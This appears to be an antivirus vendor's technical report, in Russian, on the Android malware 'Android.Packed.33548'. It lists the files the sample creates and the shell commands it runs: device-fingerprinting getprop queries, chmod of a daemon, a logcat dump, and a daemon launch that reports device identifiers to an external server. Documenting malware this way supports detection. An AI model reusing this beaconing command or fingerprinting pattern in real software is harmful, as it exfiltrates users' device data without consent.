Android.Packed.33548

Техническая информация

Вредоносные функции:

Загружает на исполнение код следующих детектируемых угроз:

Android.DownLoader.252.origin

Изменения в файловой системе:

Создает следующие файлы:

<Package Folder>/daemon.t.tmp
<Package Folder>/databases/bugly_db_lejiagu-journal
<Package Folder>/files/umeng_it.cache
<Package Folder>/filesout_qs.apk.tmp
<Package Folder>/mix.dex
<Package Folder>/shared_prefs/com.quick.swipe.xml
<Package Folder>/tx_shell/libshella-2.2.1.so

Другие:

Запускает следующие shell-скрипты:

/system/bin/sh -c getprop ro.aa.romver
/system/bin/sh -c getprop ro.board.platform
/system/bin/sh -c getprop ro.build.fingerprint
/system/bin/sh -c getprop ro.build.nubia.rom.name
/system/bin/sh -c getprop ro.build.rom.id
/system/bin/sh -c getprop ro.build.tyd.kbstyle_version
/system/bin/sh -c getprop ro.build.version.emui
/system/bin/sh -c getprop ro.build.version.opporom
/system/bin/sh -c getprop ro.gn.gnromvernumber
/system/bin/sh -c getprop ro.lenovo.series
/system/bin/sh -c getprop ro.lewa.version
/system/bin/sh -c getprop ro.meizu.product.model
/system/bin/sh -c getprop ro.miui.ui.version.name
/system/bin/sh -c getprop ro.vivo.os.build.display.id
chmod 700 <Package Folder>/tx_shell/libshella-2.2.1.so
chmod 777 <Package Folder>/daemon
getprop ro.aa.romver
getprop ro.board.platform
getprop ro.build.fingerprint
getprop ro.build.nubia.rom.name
getprop ro.build.rom.id
getprop ro.build.tyd.kbstyle_version
getprop ro.build.version.emui
getprop ro.build.version.opporom
getprop ro.gn.gnromvernumber
getprop ro.lenovo.series
getprop ro.lewa.version
getprop ro.meizu.product.model
getprop ro.miui.ui.version.name
getprop ro.vivo.os.build.display.id
getprop ro.yunos.version
logcat -d -v threadtime
sh <Package Folder>/daemon -p <Package> -r am startservice --user 0 -n <Package>/cmo.droidan.sya.tenser.FWServi -e key daemon -h http://freport.aa0ab.com:7814/report/allData -m sign=97&imeiNo=&cid=97&v=2.3.1&imei=aa0adaaf5e2384a1e2e4d2a926306d1fc64903e1&location=unKnow&operator=unknown&l=en&device={ os : 4.3.1 , model : <System Property> , name : <System Property> }&data=[{ bt :6}]&rcode=1&sqlid=1 -i 2036